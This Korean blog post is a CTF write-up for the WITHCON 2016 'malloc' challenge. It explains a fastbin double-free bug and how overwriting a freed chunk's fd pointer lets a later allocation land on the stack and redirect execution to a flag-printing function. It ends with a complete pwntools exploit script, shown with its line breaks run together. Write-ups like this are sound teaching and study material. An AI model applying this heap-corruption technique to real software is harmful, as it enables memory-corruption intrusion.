-
WITHCON - malloc (double free bug)CTF 2016. 10. 10. 01:15
malloc 문제는 Double Free Bug에 관한 문제이다.
Double Free Bug는 free 함수를 호출하되 하나의 청크에 대해 두 번 해제할 시 발생한다.
( 라이브러리가 2.3.2버전 이하에서만 터짐 )
메인함수는 별거없다. 중요한것은 1번과 2번, 4번이 버그를 발생시킬수있는 각각의 함수이다.
사이즈를 입력하고, 데이터를 받는 구조이다. 사이즈는 32바이트까지만 할당이 가능하고, 입력 버퍼역시 32바이트만 주어진다.
해당 조건이 있어 fastbin이 가능해진다.
2번 메뉴는 할당해주는 힙을 free해주는 곳이다.
또 4번 메뉴는 할당해준 힙을 수정하는 메뉴이다. 만약, malloc을 해준 후에 free를하면 fastbin의 특성상 첫번째할당된힙에 Chunk Pointer가 작성된다. 다음 malloc이 할당된다면 이 chunk point를 기준으로 해당영역에 다시 할당해줄것이다. free를 해주고, 그 값을 modify하는 메뉴를 통해 덮어써준다면 우리는 포인터를 다른곳으로 돌릴 수 있다.
스택포인터를 주는이유 또한 스택으로 malloc을통해 영역을 쓸수있기때문이다.
두번 할당했을때의 힙 모양이다.
한번 두개모두 free를 한후 상황을 볼 것이다.
두번째 힙영역에서는 처음 두개의 데이터에있었던 0x41414141이 들어가있던곳이 각각 fd와 bk이다. 둘 다 0x0 0x0으로 초기화되어있고,
첫번째 힙 영역에는 free를 했기때문에, fd와 bk가 생성되었고, fd는 당연히 이전에 free한 chunk주소를 가리키고있다.
fd는 0x603030이란값이 들어가있다. 새로 malloc이 할당된다면 저곳에 할당해줄것이다.
하지만, 0x603030이 있는곳은 우리가 데이터를 넣을 수 있는공간인데, modify를 통해서 저 값을 수정할수있다. 우리가 원하는값을 집어넣고 그쪽에다 할당을 시도 할 수 있다.
한번 덮어주고나서 malloc을 2번해보자
size를 통해 32를 입력해주고 다음 호출될 malloc이 호출되니 바로 세그폴트가 발생했다.
아래는 세그먼트 폴트의 힙 상황이다.
free후 첫번째 malloc은 제대로 DDDD..로 할당이 됬지만 그 후에 할당될 포인터가 망가져있기때문에 0x44444444로 할당하려다 세그먼트 폴트가 발생해버린다.
이를 이용해 해당 문제에서는 스택포인터를 주기때문에 그쪽으로 할당해버릴것이다. PREV_INUSE가 셋팅되어있으면 안되기때문에 스택에서 0x0이 설정된부분을 찾아서 그쪽에 할당을 해주어야한다.
스택에다 할당해주고, 우리에게 /bin/cat flag를 해주는 함수를 주니까 그 주소로 리턴해버리면 플래그가 호출될것이다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081from pwn import *#p = remote("121.78.147.153",5557)p = process("./malloc")free_got = 0x602018flag = 0x400986puts_got = 0x602020def malloc():print p.recvuntil("> ")p.sendline("1")print p.recvuntil("Enter size :")p.sendline("32")print p.recvuntil("Enter data :")p.sendline("A"*32)print p.recvuntil("> ")p.sendline("1")print p.recvuntil("Enter size :")p.sendline("32")print p.recvuntil("Enter data :")p.sendline("A"*32)def modify():print p.recvuntil(">")p.sendline("4")print p.recvuntil("Which chunk do you want to modify :")p.sendline("1")print p.recvuntil("Enter data :")p.sendline(p64(stack_ptr-0x58)*4)# print p.recvuntil(">")# p.sendline("4")# print p.recvuntil("Which chunk do you want to modify : ")# p.sendline("2")# print p.recvuntil("Enter data : ")# p.sendline("\x90"*4 + p64(puts_got) + p64(flag))def free():print p.recvuntil(">")p.sendline("2")print p.recvuntil("Which one do you want to free :")p.sendline("2")print p.recvuntil(">")p.sendline("2")print p.recvuntil("Which one do you want to free :")p.sendline("1")def list1():print p.recvuntil(">")p.sendline("3")def add_malloc():p.sendline("1")print p.recvuntil("Enter size :")p.sendline("32")print p.recvuntil("Enter data :")p.sendline("A"*32)p.sendline("1")print p.recvuntil("Enter size :")p.sendline("50")print p.recvuntil("Enter data :")p.sendline("A"*24 + p64(flag))if __name__ == '__main__':print p.recvuntil("Stack Address : ")stack_ptr = int(p.recvuntil('\n'),16)print "[*] stack ptr: " + hex(stack_ptr)malloc()list1()free()modify()add_malloc()p.interactive()cs 'CTF' 카테고리의 다른 글
[BCTF] BCloud (0) 2016.10.23 [DEFCON 2014] Babyfirst heap (1) 2016.10.20 h4ck1t - Capture Angola (0) 2016.10.03 CSAW 2016 - Clams Don't Dance (0) 2016.09.19 CSAW 2016 - tutorial (0) 2016.09.18